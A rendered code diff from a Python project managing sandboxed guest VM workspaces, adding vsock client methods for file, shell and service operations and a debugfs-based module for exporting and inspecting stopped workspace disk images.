||||||
|
raise RuntimeError("guest export response header is empty")
|
||||||
|
payload = json.loads(header)
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise RuntimeError("guest export response header must be a JSON object")
|
||||||
|
error = payload.get("error")
|
||||||
|
if error is not None:
|
||||||
|
raise RuntimeError(str(error))
|
||||||
|
archive_size = int(payload.get("archive_size", 0))
|
||||||
|
if archive_size < 0:
|
||||||
|
raise RuntimeError("guest export archive_size must not be negative")
|
||||||
|
with archive_path.open("wb") as handle:
|
||||||
|
remaining = archive_size
|
||||||
|
while remaining > 0:
|
||||||
|
chunk = sock.recv(min(65536, remaining))
|
||||||
|
if chunk == b"":
|
||||||
|
raise RuntimeError("unexpected EOF while receiving export archive")
|
||||||
|
handle.write(chunk)
|
||||||
|
remaining -= len(chunk)
|
||||||
|
finally:
|
||||||
|
sock.close()
|
||||||
|
return GuestArchiveExportResponse(
|
||||||
|
workspace_path=str(payload.get("workspace_path", workspace_path)),
|
||||||
|
artifact_type=str(payload.get("artifact_type", "file")),
|
||||||
|
entry_count=int(payload.get("entry_count", 0)),
|
||||||
|
bytes_written=int(payload.get("bytes_written", 0)),
|
||||||
|
)
|
||||||
|
|
||||||
|
def list_workspace_entries(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
recursive: bool,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "list_workspace",
|
||||||
|
"path": workspace_path,
|
||||||
|
"recursive": recursive,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest workspace file list response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def read_workspace_file(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
max_bytes: int,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "read_workspace_file",
|
||||||
|
"path": workspace_path,
|
||||||
|
"max_bytes": max_bytes,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest workspace file read response must be a JSON object",
|
||||||
|
)
|
||||||
|
raw_content = payload.get("content_b64", "")
|
||||||
|
if not isinstance(raw_content, str):
|
||||||
|
raise RuntimeError("guest workspace file read response is missing content_b64")
|
||||||
|
payload["content_bytes"] = base64.b64decode(raw_content.encode("ascii"), validate=True)
|
||||||
|
payload.pop("content_b64", None)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
def write_workspace_file(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
text: str,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "write_workspace_file",
|
||||||
|
"path": workspace_path,
|
||||||
|
"text": text,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest workspace file write response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def delete_workspace_path(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "delete_workspace_path",
|
||||||
|
"path": workspace_path,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest workspace path delete response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def open_shell(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
shell_id: str,
|
||||||
|
cwd: str,
|
||||||
|
cols: int,
|
||||||
|
rows: int,
|
||||||
|
env: dict[str, str] | None = None,
|
||||||
|
redact_values: list[str] | None = None,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> GuestShellSummary:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "open_shell",
|
||||||
|
"shell_id": shell_id,
|
||||||
|
"cwd": cwd,
|
||||||
|
"cols": cols,
|
||||||
|
"rows": rows,
|
||||||
|
"env": env,
|
||||||
|
"redact_values": redact_values,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest shell open response must be a JSON object",
|
||||||
|
)
|
||||||
|
return self._shell_summary_from_payload(payload)
|
||||||
|
|
||||||
|
def read_shell(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
shell_id: str,
|
||||||
|
cursor: int,
|
||||||
|
max_chars: int,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> GuestShellReadResponse:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "read_shell",
|
||||||
|
"shell_id": shell_id,
|
||||||
|
"cursor": cursor,
|
||||||
|
"max_chars": max_chars,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest shell read response must be a JSON object",
|
||||||
|
)
|
||||||
|
summary = self._shell_summary_from_payload(payload)
|
||||||
|
return GuestShellReadResponse(
|
||||||
|
shell_id=summary.shell_id,
|
||||||
|
cwd=summary.cwd,
|
||||||
|
cols=summary.cols,
|
||||||
|
rows=summary.rows,
|
||||||
|
state=summary.state,
|
||||||
|
started_at=summary.started_at,
|
||||||
|
ended_at=summary.ended_at,
|
||||||
|
exit_code=summary.exit_code,
|
||||||
|
cursor=int(payload.get("cursor", cursor)),
|
||||||
|
next_cursor=int(payload.get("next_cursor", cursor)),
|
||||||
|
output=str(payload.get("output", "")),
|
||||||
|
truncated=bool(payload.get("truncated", False)),
|
||||||
|
)
|
||||||
|
|
||||||
|
def write_shell(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
shell_id: str,
|
||||||
|
input_text: str,
|
||||||
|
append_newline: bool,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "write_shell",
|
||||||
|
"shell_id": shell_id,
|
||||||
|
"input": input_text,
|
||||||
|
"append_newline": append_newline,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest shell write response must be a JSON object",
|
||||||
|
)
|
||||||
|
self._shell_summary_from_payload(payload)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
def signal_shell(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
shell_id: str,
|
||||||
|
signal_name: str,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "signal_shell",
|
||||||
|
"shell_id": shell_id,
|
||||||
|
"signal": signal_name,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest shell signal response must be a JSON object",
|
||||||
|
)
|
||||||
|
self._shell_summary_from_payload(payload)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
def close_shell(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
shell_id: str,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "close_shell",
|
||||||
|
"shell_id": shell_id,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest shell close response must be a JSON object",
|
||||||
|
)
|
||||||
|
self._shell_summary_from_payload(payload)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
def start_service(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
service_name: str,
|
||||||
|
command: str,
|
||||||
|
cwd: str,
|
||||||
|
readiness: dict[str, Any] | None,
|
||||||
|
ready_timeout_seconds: int,
|
||||||
|
ready_interval_ms: int,
|
||||||
|
env: dict[str, str] | None = None,
|
||||||
|
timeout_seconds: int = 60,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "start_service",
|
||||||
|
"service_name": service_name,
|
||||||
|
"command": command,
|
||||||
|
"cwd": cwd,
|
||||||
|
"readiness": readiness,
|
||||||
|
"ready_timeout_seconds": ready_timeout_seconds,
|
||||||
|
"ready_interval_ms": ready_interval_ms,
|
||||||
|
"env": env,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest service start response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def status_service(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
service_name: str,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "status_service",
|
||||||
|
"service_name": service_name,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest service status response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def logs_service(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
service_name: str,
|
||||||
|
tail_lines: int | None,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "logs_service",
|
||||||
|
"service_name": service_name,
|
||||||
|
"tail_lines": tail_lines,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest service logs response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def stop_service(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
service_name: str,
|
||||||
|
timeout_seconds: int = 30,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"action": "stop_service",
|
||||||
|
"service_name": service_name,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest service stop response must be a JSON object",
|
||||||
|
)
|
||||||
|
|
||||||
|
def _request_json(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
request: dict[str, Any],
|
||||||
|
*,
|
||||||
|
timeout_seconds: int,
|
||||||
|
uds_path: str | None,
|
||||||
|
error_message: str,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||||
|
try:
|
||||||
|
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||||
|
payload = self._recv_json_payload(sock)
|
||||||
|
finally:
|
||||||
|
sock.close()
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise RuntimeError(error_message)
|
||||||
|
error = payload.get("error")
|
||||||
|
if error is not None:
|
||||||
|
raise RuntimeError(str(error))
|
||||||
|
return payload
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _shell_summary_from_payload(payload: dict[str, Any]) -> GuestShellSummary:
|
||||||
|
return GuestShellSummary(
|
||||||
|
shell_id=str(payload.get("shell_id", "")),
|
||||||
|
cwd=str(payload.get("cwd", "/workspace")),
|
||||||
|
cols=int(payload.get("cols", 0)),
|
||||||
|
rows=int(payload.get("rows", 0)),
|
||||||
|
state=str(payload.get("state", "stopped")),
|
||||||
|
started_at=float(payload.get("started_at", 0.0)),
|
||||||
|
ended_at=(
|
||||||
|
None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0))
|
||||||
|
),
|
||||||
|
exit_code=(
|
||||||
|
None if payload.get("exit_code") is None else int(payload.get("exit_code", 0))
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
def _connect(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
timeout_seconds: int,
|
||||||
|
*,
|
||||||
|
uds_path: str | None,
|
||||||
|
) -> SocketLike:
|
||||||
family = getattr(socket, "AF_VSOCK", None)
|
family = getattr(socket, "AF_VSOCK", None)
|
||||||
if family is not None:
|
if family is not None:
|
||||||
sock = self._socket_factory(family, socket.SOCK_STREAM)
|
sock = self._socket_factory(family, socket.SOCK_STREAM)
|
||||||
|
|
@ -59,33 +624,15 @@ class VsockExecClient:
|
||||||
connect_address = uds_path
|
connect_address = uds_path
|
||||||
else:
|
else:
|
||||||
raise RuntimeError("vsock sockets are not supported on this host Python runtime")
|
raise RuntimeError("vsock sockets are not supported on this host Python runtime")
|
||||||
try:
|
sock.settimeout(timeout_seconds)
|
||||||
sock.settimeout(timeout_seconds)
|
sock.connect(connect_address)
|
||||||
sock.connect(connect_address)
|
if family is None:
|
||||||
if family is None:
|
sock.sendall(f"CONNECT {port}\n".encode("utf-8"))
|
||||||
sock.sendall(f"CONNECT {port}\n".encode("utf-8"))
|
status = self._recv_line(sock)
|
||||||
status = self._recv_line(sock)
|
if not status.startswith("OK "):
|
||||||
if not status.startswith("OK "):
|
sock.close()
|
||||||
raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}")
|
raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}")
|
||||||
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
return sock
|
||||||
chunks: list[bytes] = []
|
|
||||||
while True:
|
|
||||||
data = sock.recv(65536)
|
|
||||||
if data == b"":
|
|
||||||
break
|
|
||||||
chunks.append(data)
|
|
||||||
finally:
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
payload = json.loads(b"".join(chunks).decode("utf-8"))
|
|
||||||
if not isinstance(payload, dict):
|
|
||||||
raise RuntimeError("guest exec response must be a JSON object")
|
|
||||||
return GuestExecResponse(
|
|
||||||
stdout=str(payload.get("stdout", "")),
|
|
||||||
stderr=str(payload.get("stderr", "")),
|
|
||||||
exit_code=int(payload.get("exit_code", -1)),
|
|
||||||
duration_ms=int(payload.get("duration_ms", 0)),
|
|
||||||
)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _recv_line(sock: SocketLike) -> str:
|
def _recv_line(sock: SocketLike) -> str:
|
||||||
|
|
@ -98,3 +645,13 @@ class VsockExecClient:
|
||||||
if data == b"\n":
|
if data == b"\n":
|
||||||
break
|
break
|
||||||
return b"".join(chunks).decode("utf-8", errors="replace")
|
return b"".join(chunks).decode("utf-8", errors="replace")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _recv_json_payload(sock: SocketLike) -> Any:
|
||||||
|
chunks: list[bytes] = []
|
||||||
|
while True:
|
||||||
|
data = sock.recv(65536)
|
||||||
|
if data == b"":
|
||||||
|
break
|
||||||
|
chunks.append(data)
|
||||||
|
return json.loads(b"".join(chunks).decode("utf-8"))
|
||||||
|
|
|
||||||
File diff suppressed because it is too large
Load diff
264
src/pyro_mcp/workspace_disk.py
Normal file
264
src/pyro_mcp/workspace_disk.py
Normal file
|
|
@ -0,0 +1,264 @@
|
||||||
|
"""Stopped-workspace disk export and offline inspection helpers."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path, PurePosixPath
|
||||||
|
from typing import Literal
|
||||||
|
|
||||||
|
WorkspaceDiskArtifactType = Literal["file", "directory", "symlink"]
|
||||||
|
|
||||||
|
WORKSPACE_DISK_RUNTIME_ONLY_PATHS = (
|
||||||
|
"/run/pyro-secrets",
|
||||||
|
"/run/pyro-shells",
|
||||||
|
"/run/pyro-services",
|
||||||
|
)
|
||||||
|
|
||||||
|
_DEBUGFS_LS_RE = re.compile(
|
||||||
|
r"^/(?P<inode>\d+)/(?P<mode>\d+)/(?P<uid>\d+)/(?P<gid>\d+)/(?P<name>.*)/(?P<size>\d*)/$"
|
||||||
|
)
|
||||||
|
_DEBUGFS_SIZE_RE = re.compile(r"Size:\s+(?P<size>\d+)")
|
||||||
|
_DEBUGFS_TYPE_RE = re.compile(r"Type:\s+(?P<type>\w+)")
|
||||||
|
_DEBUGFS_LINK_RE = re.compile(r'Fast link dest:\s+"(?P<target>.*)"')
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceDiskEntry:
|
||||||
|
"""One inspectable path from a stopped workspace rootfs image."""
|
||||||
|
|
||||||
|
path: str
|
||||||
|
artifact_type: WorkspaceDiskArtifactType
|
||||||
|
size_bytes: int
|
||||||
|
link_target: str | None = None
|
||||||
|
|
||||||
|
def to_payload(self) -> dict[str, str | int | None]:
|
||||||
|
return {
|
||||||
|
"path": self.path,
|
||||||
|
"artifact_type": self.artifact_type,
|
||||||
|
"size_bytes": self.size_bytes,
|
||||||
|
"link_target": self.link_target,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class _DebugfsStat:
|
||||||
|
path: str
|
||||||
|
artifact_type: WorkspaceDiskArtifactType
|
||||||
|
size_bytes: int
|
||||||
|
link_target: str | None = None
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class _DebugfsDirEntry:
|
||||||
|
name: str
|
||||||
|
path: str
|
||||||
|
artifact_type: WorkspaceDiskArtifactType | None
|
||||||
|
size_bytes: int
|
||||||
|
|
||||||
|
|
||||||
|
def export_workspace_disk_image(rootfs_image: Path, *, output_path: Path) -> dict[str, str | int]:
|
||||||
|
"""Copy one stopped workspace rootfs image to the requested host path."""
|
||||||
|
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
if output_path.exists() or output_path.is_symlink():
|
||||||
|
raise RuntimeError(f"output_path already exists: {output_path}")
|
||||||
|
shutil.copy2(rootfs_image, output_path)
|
||||||
|
return {
|
||||||
|
"output_path": str(output_path),
|
||||||
|
"disk_format": "ext4",
|
||||||
|
"bytes_written": output_path.stat().st_size,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def list_workspace_disk(
|
||||||
|
rootfs_image: Path,
|
||||||
|
*,
|
||||||
|
guest_path: str,
|
||||||
|
recursive: bool,
|
||||||
|
) -> list[dict[str, str | int | None]]:
|
||||||
|
"""Return inspectable entries from one stopped workspace rootfs path."""
|
||||||
|
target = _debugfs_stat(rootfs_image, guest_path)
|
||||||
|
if target is None:
|
||||||
|
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
|
||||||
|
if target.artifact_type != "directory":
|
||||||
|
return [WorkspaceDiskEntry(**target.__dict__).to_payload()]
|
||||||
|
entries: list[WorkspaceDiskEntry] = []
|
||||||
|
|
||||||
|
def walk(current_path: str) -> None:
|
||||||
|
children = _debugfs_ls_entries(rootfs_image, current_path)
|
||||||
|
for child in children:
|
||||||
|
if child.artifact_type is None:
|
||||||
|
continue
|
||||||
|
link_target = None
|
||||||
|
if child.artifact_type == "symlink":
|
||||||
|
child_stat = _debugfs_stat(rootfs_image, child.path)
|
||||||
|
link_target = None if child_stat is None else child_stat.link_target
|
||||||
|
entries.append(
|
||||||
|
WorkspaceDiskEntry(
|
||||||
|
path=child.path,
|
||||||
|
artifact_type=child.artifact_type,
|
||||||
|
size_bytes=child.size_bytes,
|
||||||
|
link_target=link_target,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
if recursive and child.artifact_type == "directory":
|
||||||
|
walk(child.path)
|
||||||
|
|
||||||
|
walk(guest_path)
|
||||||
|
entries.sort(key=lambda item: item.path)
|
||||||
|
return [entry.to_payload() for entry in entries]
|
||||||
|
|
||||||
|
|
||||||
|
def read_workspace_disk_file(
|
||||||
|
rootfs_image: Path,
|
||||||
|
*,
|
||||||
|
guest_path: str,
|
||||||
|
max_bytes: int,
|
||||||
|
) -> dict[str, str | int | bool]:
|
||||||
|
"""Read one regular file from a stopped workspace rootfs image."""
|
||||||
|
target = _debugfs_stat(rootfs_image, guest_path)
|
||||||
|
if target is None:
|
||||||
|
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
|
||||||
|
if target.artifact_type != "file":
|
||||||
|
raise RuntimeError("workspace disk read only supports regular files")
|
||||||
|
if max_bytes <= 0:
|
||||||
|
raise ValueError("max_bytes must be positive")
|
||||||
|
with tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-read-") as temp_dir:
|
||||||
|
dumped_path = Path(temp_dir) / "workspace-disk-read.bin"
|
||||||
|
_run_debugfs(rootfs_image, f"dump {guest_path} {dumped_path}")
|
||||||
|
if not dumped_path.exists():
|
||||||
|
raise RuntimeError(f"failed to dump workspace disk file: {guest_path}")
|
||||||
|
raw_bytes = dumped_path.read_bytes()
|
||||||
|
return {
|
||||||
|
"path": guest_path,
|
||||||
|
"size_bytes": len(raw_bytes),
|
||||||
|
"max_bytes": max_bytes,
|
||||||
|
"content": raw_bytes[:max_bytes].decode("utf-8", errors="replace"),
|
||||||
|
"truncated": len(raw_bytes) > max_bytes,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def scrub_workspace_runtime_paths(rootfs_image: Path) -> None:
|
||||||
|
"""Remove runtime-only guest paths from a stopped workspace rootfs image."""
|
||||||
|
for guest_path in WORKSPACE_DISK_RUNTIME_ONLY_PATHS:
|
||||||
|
_debugfs_remove_tree(rootfs_image, guest_path)
|
||||||
|
|
||||||
|
|
||||||
|
def _run_debugfs(rootfs_image: Path, command: str, *, writable: bool = False) -> str:
|
||||||
|
debugfs_path = shutil.which("debugfs")
|
||||||
|
if debugfs_path is None:
|
||||||
|
raise RuntimeError("debugfs is required for workspace disk operations")
|
||||||
|
debugfs_command = [debugfs_path]
|
||||||
|
if writable:
|
||||||
|
debugfs_command.append("-w")
|
||||||
|
proc = subprocess.run( # noqa: S603
|
||||||
|
[*debugfs_command, "-R", command, str(rootfs_image)],
|
||||||
|
text=True,
|
||||||
|
capture_output=True,
|
||||||
|
check=False,
|
||||||
|
)
|
||||||
|
combined = proc.stdout
|
||||||
|
if proc.stderr != "":
|
||||||
|
combined = combined + ("\n" if combined != "" else "") + proc.stderr
|
||||||
|
output = _strip_debugfs_banner(combined)
|
||||||
|
if proc.returncode != 0:
|
||||||
|
message = output.strip()
|
||||||
|
if message == "":
|
||||||
|
message = f"debugfs command failed: {command}"
|
||||||
|
raise RuntimeError(message)
|
||||||
|
return output.strip()
|
||||||
|
|
||||||
|
|
||||||
|
def _strip_debugfs_banner(output: str) -> str:
|
||||||
|
lines = output.splitlines()
|
||||||
|
while lines and lines[0].startswith("debugfs "):
|
||||||
|
lines.pop(0)
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def _debugfs_missing(output: str) -> bool:
|
||||||
|
return "File not found by ext2_lookup" in output or "File not found by ext2fs_lookup" in output
|
||||||
|
|
||||||
|
|
||||||
|
def _artifact_type_from_mode(mode: str) -> WorkspaceDiskArtifactType | None:
|
||||||
|
if mode.startswith("04"):
|
||||||
|
return "directory"
|
||||||
|
if mode.startswith("10"):
|
||||||
|
return "file"
|
||||||
|
if mode.startswith("12"):
|
||||||
|
return "symlink"
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _debugfs_stat(rootfs_image: Path, guest_path: str) -> _DebugfsStat | None:
|
||||||
|
output = _run_debugfs(rootfs_image, f"stat {guest_path}")
|
||||||
|
if _debugfs_missing(output):
|
||||||
|
return None
|
||||||
|
type_match = _DEBUGFS_TYPE_RE.search(output)
|
||||||
|
size_match = _DEBUGFS_SIZE_RE.search(output)
|
||||||
|
if type_match is None or size_match is None:
|
||||||
|
raise RuntimeError(f"failed to inspect workspace disk path: {guest_path}")
|
||||||
|
raw_type = type_match.group("type")
|
||||||
|
artifact_type: WorkspaceDiskArtifactType
|
||||||
|
if raw_type == "directory":
|
||||||
|
artifact_type = "directory"
|
||||||
|
elif raw_type == "regular":
|
||||||
|
artifact_type = "file"
|
||||||
|
elif raw_type == "symlink":
|
||||||
|
artifact_type = "symlink"
|
||||||
|
else:
|
||||||
|
raise RuntimeError(f"unsupported workspace disk path type: {guest_path}")
|
||||||
|
link_target = None
|
||||||
|
if artifact_type == "symlink":
|
||||||
|
link_match = _DEBUGFS_LINK_RE.search(output)
|
||||||
|
if link_match is not None:
|
||||||
|
link_target = link_match.group("target")
|
||||||
|
return _DebugfsStat(
|
||||||
|
path=guest_path,
|
||||||
|
artifact_type=artifact_type,
|
||||||
|
size_bytes=int(size_match.group("size")),
|
||||||
|
link_target=link_target,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _debugfs_ls_entries(rootfs_image: Path, guest_path: str) -> list[_DebugfsDirEntry]:
|
||||||
|
output = _run_debugfs(rootfs_image, f"ls -p {guest_path}")
|
||||||
|
if _debugfs_missing(output):
|
||||||
|
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
|
||||||
|
entries: list[_DebugfsDirEntry] = []
|
||||||
|
base = PurePosixPath(guest_path)
|
||||||
|
for raw_line in output.splitlines():
|
||||||
|
line = raw_line.strip()
|
||||||
|
if line == "":
|
||||||
|
continue
|
||||||
|
match = _DEBUGFS_LS_RE.match(line)
|
||||||
|
if match is None:
|
||||||
|
continue
|
||||||
|
name = match.group("name")
|
||||||
|
if name in {".", ".."}:
|
||||||
|
continue
|
||||||
|
child_path = str(base / name) if str(base) != "/" else f"/{name}"
|
||||||
|
entries.append(
|
||||||
|
_DebugfsDirEntry(
|
||||||
|
name=name,
|
||||||
|
path=child_path,
|
||||||
|
artifact_type=_artifact_type_from_mode(match.group("mode")),
|
||||||
|
size_bytes=int(match.group("size") or "0"),
|
||||||
|
)
|
||||||
|
)
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def _debugfs_remove_tree(rootfs_image: Path, guest_path: str) -> None:
|
||||||
|
stat_result = _debugfs_stat(rootfs_image, guest_path)
|
||||||
|
if stat_result is None:
|
||||||
|
return
|
||||||
|
if stat_result.artifact_type == "directory":
|
||||||
|
for child in _debugfs_ls_entries(rootfs_image, guest_path):
|
||||||
|
_debugfs_remove_tree(rootfs_image, child.path)
|
||||||
|
_run_debugfs(rootfs_image, f"rmdir {guest_path}", writable=True)
|
||||||
|
return
|
||||||
|
_run_debugfs(rootfs_image, f"rm {guest_path}", writable=True)
|
||||||
456
src/pyro_mcp/workspace_files.py
Normal file
456
src/pyro_mcp/workspace_files.py
Normal file
|
|
@ -0,0 +1,456 @@
|
||||||
|
"""Live workspace file operations and unified text patch helpers."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import tempfile
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path, PurePosixPath
|
||||||
|
from typing import Literal
|
||||||
|
|
||||||
|
WORKSPACE_ROOT = PurePosixPath("/workspace")
|
||||||
|
DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = 65536
|
||||||
|
WORKSPACE_FILE_MAX_BYTES = 1024 * 1024
|
||||||
|
WORKSPACE_PATCH_MAX_BYTES = 1024 * 1024
|
||||||
|
|
||||||
|
WorkspaceFileArtifactType = Literal["file", "directory", "symlink"]
|
||||||
|
WorkspacePatchStatus = Literal["added", "modified", "deleted"]
|
||||||
|
|
||||||
|
